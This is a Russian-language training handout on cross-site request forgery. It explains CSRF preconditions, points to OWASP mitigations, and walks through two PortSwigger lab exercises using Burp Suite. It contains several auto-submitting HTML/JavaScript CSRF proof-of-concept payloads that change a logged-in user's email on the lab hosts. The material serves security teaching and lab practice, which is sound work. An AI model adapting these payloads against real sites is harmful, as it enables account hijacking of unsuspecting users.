---
# System prepended metadata

title: Untitled

---

## Материал для самостоятельного изучения

Содержание:

1. Примеры уязвимого кода
2. Примеры атак и уязвимых приложений

## Примеры уязвимого кода

Уязвимость требует от атакующего выполнять следующие условия:

 - Доставка эксплойта через уязвимость html injection/XSS (желательно)
 - Пользователь должен иметь валидный идентификатор сессии в браузере

Визуально данные в исходном коде выделяться не будут, обычно целью таких атак становятся те части приложения, которые управляют критичной работой приложения:

1. Удаление данных
2. Конфигурация учетной записи
3. Любой функционал, который даёт возможность менять состояние системы и раскрывать данные

Митигации уязвимости дожны применяться совместно с разюьением функционала приложения по критичности использования. Митигации можно найти в презентации занятия в сжатом виде. Развернуто митигации описаны [тут](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html).

## Примеры атак и уязвимых приложений

Задача всех вариантов атак - подготовка данных, которые необходимо предоставить приложению для выполнения действия. Атакующий доолжен так сформировать набор данных, чтобы пользлователь мог только открыть страницу с уязвимостью и браузер автоматически выполнил все действия.

Обычно берут для таких задач кусок кода френтенда, который используется в качестве интерфейса со стороны пользователя и прописывают значения по-умолчанию. Автоматизация отправки запросов при этом осуществляется через Javascrpit.

Так же существует возможность автоматической генерации отправки запросов. Генерация возможна с использованием burp Professional:

![](https://i.imgur.com/t5dvNMZ.png)

Варианты тестовых данных:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a2d009004f8218ac086389800e10085.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

```
Вариант №2 - испоьзуется только для последних версий браузеров
```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/0a2d009004f8218ac086389800e10085.web-security-academy.net\/my-account\/change-email", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
        xhr.withCredentials = true;
        var body = "email=test%40test.com";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

```

Проблема всех кодов полезной нагрузки - SOP и SameSite Cookie флаги. Первую обходят через использования отправки формы и автоматического прокликивания через JS, второе только по уязвимым параметрам. Если не используются Strict значение.

Автоматизировать поиск проблем можно через плагин CSRF Scanner. В нем есть возможность в фоне производить сканирование уязвимых запросов. Для конфигурации запросов создается отдельная вкладка:

![](https://i.imgur.com/vlrNpIE.png)


Для работы расширения нужно прописать Scope. После этого рядом с доменом на вкладке Target будут появляться сообщения об используемом токене.

![](https://i.imgur.com/v85FG7T.png)

#### Уязвимое приложение находится по адресу: https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method

Вариант уязвимого приложения, которое не содержит проверки токена для отправки данных с формы. При этом алгоритм принимает несколько методов.

С помощью плагина или через engagment tools можно локализовать все запросы с CSRF токеном и начать тест. 

В уязвимом приложении такой зарос 1:

![](https://i.imgur.com/XRRJMsS.png)

Поменяем метод:

![](https://i.imgur.com/gjPROLL.png)

Сгенерируем полезную нагрузку, не забудьте проставить опцию `Include auto-submit script`:

тиоговые данные для проведения атаки:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0aa30042045235e0c0e9e23100e6005b.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


```

#### Уязвимое приложение находится по адресу:
https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present

Приложение не отслеживает, что токен был убран из параметров. Последовательность теста дальше происходит по тому же сценарию. Для эксплуатации уязвимости можно использовать тот жe payload, что и в прошлом задании, но с методом POST:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a10009c04b79178c0ef115e003500bb.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

```

### Полезные ссылки

 - https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
 - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CSRF%20Injection